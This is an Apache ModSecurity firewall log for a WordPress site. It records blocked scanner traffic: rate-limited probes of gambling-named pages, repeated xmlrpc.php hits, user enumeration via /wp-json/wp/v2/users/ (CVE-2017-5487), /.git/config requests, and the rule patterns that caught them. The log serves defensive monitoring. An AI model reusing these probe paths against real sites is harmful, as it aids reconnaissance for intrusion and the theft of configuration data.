[Thu May 07 23:51:01.518367 2026] [:error] [pid 15630:tid 15663] [client 62.84.185.69:21586] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/slotxo%20wallet.aspx"] [unique_id "afy05XTithRAi4821qvbxwAAAIM"]
[Thu May 07 23:51:03.512725 2026] [:error] [pid 15630:tid 15683] [client 62.84.185.69:21590] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spg%20slot.aspx"] [unique_id "afy053TithRAi4821qvbygAAAJc"]
[Thu May 07 23:51:05.497668 2026] [:error] [pid 12323:tid 12332] [client 62.84.185.69:20026] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/spx%20slot.aspx"] [unique_id "afy06ddhHMnGFpc7MDxBOgAAAUU"]
[Thu May 07 23:51:07.343012 2026] [:error] [pid 12323:tid 12350] [client 62.84.185.69:20036] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20pg%201688.aspx"] [unique_id "afy069dhHMnGFpc7MDxBOwAAAVc"]
[Thu May 07 23:51:09.357976 2026] [:error] [pid 15630:tid 15679] [client 62.84.185.69:20048] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/super%20slot.aspx"] [unique_id "afy07XTithRAi4821qvb0AAAAJM"]
[Thu May 07 23:51:11.339481 2026] [:error] [pid 15715:tid 15725] [client 62.84.185.69:20060] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "afy07yY4dZsLOttMkcfdvwAAAQg"]
[Thu May 07 23:51:13.440826 2026] [:error] [pid 15631:tid 15704] [client 62.84.185.69:20062] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20vip.aspx"] [unique_id "afy08XvP1GkPUuuLfqVosgAAANE"]
[Thu May 07 23:51:15.308071 2026] [:error] [pid 15715:tid 15734] [client 62.84.185.69:59374] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "afy08yY4dZsLOttMkcfdxQAAAQ4"]
[Thu May 07 23:51:17.273787 2026] [:error] [pid 15715:tid 15743] [client 62.84.185.69:59380] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot%20wallet.aspx"] [unique_id "afy09SY4dZsLOttMkcfdygAAARc"]
[Thu May 07 23:51:19.124427 2026] [:error] [pid 15630:tid 15670] [client 62.84.185.69:59390] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/superslot168%20wallet.aspx"] [unique_id "afy093TithRAi4821qvb3AAAAIo"]
[Thu May 07 23:51:21.112491 2026] [:error] [pid 15630:tid 15684] [client 62.84.185.69:59398] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20168.aspx"] [unique_id "afy0-XTithRAi4821qvb4gAAAJg"]
[Thu May 07 23:51:23.113620 2026] [:error] [pid 15630:tid 15674] [client 62.84.185.69:59408] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20c4.aspx"] [unique_id "afy0-3TithRAi4821qvb6QAAAI4"]
[Thu May 07 23:51:25.112872 2026] [:error] [pid 15629:tid 15647] [client 62.84.185.69:59422] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20sa.aspx"] [unique_id "afy0_frIJCALdUrO43mXSwAAAA4"]
[Thu May 07 23:51:27.076720 2026] [:error] [pid 15631:tid 15689] [client 62.84.185.69:1776] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20slot.aspx"] [unique_id "afy0_3vP1GkPUuuLfqVotwAAAMI"]
[Thu May 07 23:51:29.097336 2026] [:error] [pid 15631:tid 15687] [client 62.84.185.69:1790] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20vip.aspx"] [unique_id "afy1AXvP1GkPUuuLfqVouAAAAMA"]
[Thu May 07 23:51:31.073555 2026] [:error] [pid 15715:tid 15720] [client 62.84.185.69:1800] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet%20777.aspx"] [unique_id "afy1AyY4dZsLOttMkcfd0QAAAQM"]
[Thu May 07 23:51:33.097887 2026] [:error] [pid 15715:tid 15718] [client 62.84.185.69:1814] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufa%20wallet.aspx"] [unique_id "afy1BSY4dZsLOttMkcfd1wAAAQE"]
[Thu May 07 23:51:35.074783 2026] [:error] [pid 15715:tid 15740] [client 62.84.185.69:1820] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20100.aspx"] [unique_id "afy1ByY4dZsLOttMkcfd3gAAARQ"]
[Thu May 07 23:51:37.056487 2026] [:error] [pid 15631:tid 15695] [client 62.84.185.69:2734] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%201668.aspx"] [unique_id "afy1CXvP1GkPUuuLfqVovgAAAMg"]
[Thu May 07 23:51:39.068646 2026] [:error] [pid 15715:tid 15721] [client 62.84.185.69:2738] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%207777.aspx"] [unique_id "afy1CyY4dZsLOttMkcfd5wAAAQQ"]
[Thu May 07 23:51:41.064617 2026] [:error] [pid 15715:tid 15734] [client 62.84.185.69:2754] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto%20wallet.aspx"] [unique_id "afy1DSY4dZsLOttMkcfd6gAAAQ4"]
[Thu May 07 23:51:43.051688 2026] [:error] [pid 15630:tid 15662] [client 62.84.185.69:2766] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20auto.aspx"] [unique_id "afy1D3TithRAi4821qvb9wAAAII"]
[Thu May 07 23:51:45.042540 2026] [:error] [pid 15630:tid 15678] [client 62.84.185.69:2782] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20net.aspx"] [unique_id "afy1EXTithRAi4821qvb_AAAAJI"]
[Thu May 07 23:51:47.014936 2026] [:error] [pid 15630:tid 15666] [client 62.84.185.69:10656] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet%20777.aspx"] [unique_id "afy1E3TithRAi4821qvb_gAAAIY"]
[Thu May 07 23:51:49.021566 2026] [:error] [pid 12374:tid 12394] [client 62.84.185.69:10664] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/ufabet%20wallet.aspx"] [unique_id "afy1FRo3QnNcFDMfKt19MQAAAZA"]
[Thu May 07 23:51:50.968476 2026] [:error] [pid 28098:tid 28119] [client 62.84.185.69:10674] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/w69%20slot.aspx"] [unique_id "afy1Fsvhwfljlt8trSo4pgAAAFM"]
[Thu May 07 23:51:52.990446 2026] [:error] [pid 15629:tid 15638] [client 62.84.185.69:10686] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wallet%20slot.aspx"] [unique_id "afy1GPrIJCALdUrO43mXVgAAAAU"]
[Thu May 07 23:51:54.955224 2026] [:error] [pid 15630:tid 15679] [client 62.84.185.69:10698] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/we88%20slot.aspx"] [unique_id "afy1GnTithRAi4821qvcCwAAAJM"]
[Thu May 07 23:52:37.078846 2026] [:error] [pid 15715:tid 15718] [client 43.130.16.140:35622] [client 43.130.16.140] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afy1RSY4dZsLOttMkcfeGgAAAQE"]
[Fri May 08 00:14:16.830511 2026] [:error] [pid 12323:tid 12335] [client 34.134.187.56:56402] [client 34.134.187.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.187.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afy6WNdhHMnGFpc7MDxCugAAAUg"]
[Fri May 08 00:14:20.513933 2026] [:error] [pid 12323:tid 12334] [client 34.134.187.56:56402] [client 34.134.187.56] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "afy6XNdhHMnGFpc7MDxCwQAAAUc"]
[Fri May 08 00:14:22.101867 2026] [:error] [pid 12323:tid 12342] [client 34.134.187.56:56402] [client 34.134.187.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.187.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afy6XtdhHMnGFpc7MDxCwwAAAU8"]
[Fri May 08 00:14:23.983345 2026] [:error] [pid 15630:tid 15672] [client 34.134.187.56:62139] [client 34.134.187.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.187.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afy6X3TithRAi4821qvg-AAAAIw"]
[Fri May 08 00:14:25.874947 2026] [:error] [pid 15631:tid 15694] [client 34.134.187.56:62850] [client 34.134.187.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.187.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afy6YXvP1GkPUuuLfqVs1gAAAMc"]
[Fri May 08 00:14:27.768249 2026] [:error] [pid 15631:tid 15698] [client 34.134.187.56:49685] [client 34.134.187.56] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.134.187.56, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afy6Y3vP1GkPUuuLfqVs3QAAAMs"]
[Fri May 08 00:14:27.768416 2026] [:error] [pid 15631:tid 15698] [client 34.134.187.56:49685] [client 34.134.187.56] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.134.187.56, counter = 7"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afy6Y3vP1GkPUuuLfqVs3QAAAMs"]
[Fri May 08 01:40:43.494678 2026] [:error] [pid 15631:tid 15689] [client 194.193.147.111:64902] [client 194.193.147.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.193.147.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afzOm3vP1GkPUuuLfqV7HwAAAMI"]
[Fri May 08 01:40:54.209200 2026] [:error] [pid 15629:tid 15645] [client 194.193.147.111:65406] [client 194.193.147.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.193.147.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afzOpvrIJCALdUrO43mk3AAAAAw"]
[Fri May 08 01:41:04.908508 2026] [:error] [pid 15630:tid 15668] [client 194.193.147.111:49380] [client 194.193.147.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.193.147.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afzOsHTithRAi4821qvv9AAAAIg"]
[Fri May 08 01:41:15.702027 2026] [:error] [pid 15630:tid 15665] [client 194.193.147.111:50069] [client 194.193.147.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.193.147.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afzOu3TithRAi4821qvv9wAAAIU"]
[Fri May 08 01:41:26.556601 2026] [:error] [pid 15715:tid 15731] [client 194.193.147.111:50443] [client 194.193.147.111] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 194.193.147.111, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afzOxiY4dZsLOttMkcf-vwAAAQs"]
[Fri May 08 02:07:08.867017 2026] [:error] [pid 15631:tid 15711] [client 122.172.84.41:30957] [client 122.172.84.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.172.84.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afzUzHvP1GkPUuuLfqV-dgAAANg"]
[Fri May 08 02:07:19.258873 2026] [:error] [pid 15631:tid 15695] [client 122.172.84.41:15835] [client 122.172.84.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.172.84.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afzU13vP1GkPUuuLfqV-egAAAMg"]
[Fri May 08 02:07:29.979449 2026] [:error] [pid 15629:tid 15633] [client 122.172.84.41:31856] [client 122.172.84.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.172.84.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afzU4frIJCALdUrO43moeAAAAAA"]
[Fri May 08 02:07:40.567154 2026] [:error] [pid 15630:tid 15669] [client 122.172.84.41:6105] [client 122.172.84.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.172.84.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afzU7HTithRAi4821qv1jQAAAIk"]
[Fri May 08 02:07:51.204806 2026] [:error] [pid 15629:tid 15639] [client 122.172.84.41:26916] [client 122.172.84.41] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 122.172.84.41, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "afzU9_rIJCALdUrO43morgAAAAY"]
[Fri May 08 02:58:22.077334 2026] [:error] [pid 15630:tid 15662] [client 192.144.148.122:39910] [client 192.144.148.122] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "afzgznTithRAi4821qv-PQAAAII"]
[Fri May 08 04:43:35.691540 2026] [:error] [pid 51008:tid 51070] [client 34.154.196.97:41902] [client 34.154.196.97] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "www.gigfragments.org"] [uri "/.git/config"] [unique_id "afz5d3B58C2Y1tgLtuL0WAAAAFU"]
[Fri May 08 05:18:54.210885 2026] [:error] [pid 51009:tid 51081] [client 49.51.38.193:60820] [client 49.51.38.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "af0BvuB0GbUWhxgzX9WTzAAAAIU"]
[Fri May 08 05:53:09.978360 2026] [:error] [pid 34318:tid 34343] [client 20.219.129.204:11045] [client 20.219.129.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "af0Jxcr3guirgJiKhzBiJwAAARc"]
[Fri May 08 05:53:10.531291 2026] [:error] [pid 51007:tid 51027] [client 20.219.129.204:10757] [client 20.219.129.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "af0JxlMagSGstWKyzzVzsAAAAAU"]
[Fri May 08 05:53:11.118007 2026] [:error] [pid 51009:tid 51084] [client 20.219.129.204:11046] [client 20.219.129.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "af0Jx-B0GbUWhxgzX9Wj0AAAAIg"]
[Fri May 08 05:53:11.694120 2026] [:error] [pid 51008:tid 51055] [client 20.219.129.204:12303] [client 20.219.129.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-mail.php"] [unique_id "af0Jx3B58C2Y1tgLtuIIZQAAAEY"]
[Fri May 08 06:21:45.314444 2026] [:error] [pid 51007:tid 51039] [client 35.228.239.26:51556] [client 35.228.239.26] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "af0QeVMagSGstWKyzzV6SQAAABE"]
[Fri May 08 06:32:34.389410 2026] [:error] [pid 34318:tid 34344] [client 49.51.38.193:50576] [client 49.51.38.193] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "af0TAsr3guirgJiKhzB-uAAAARg"]
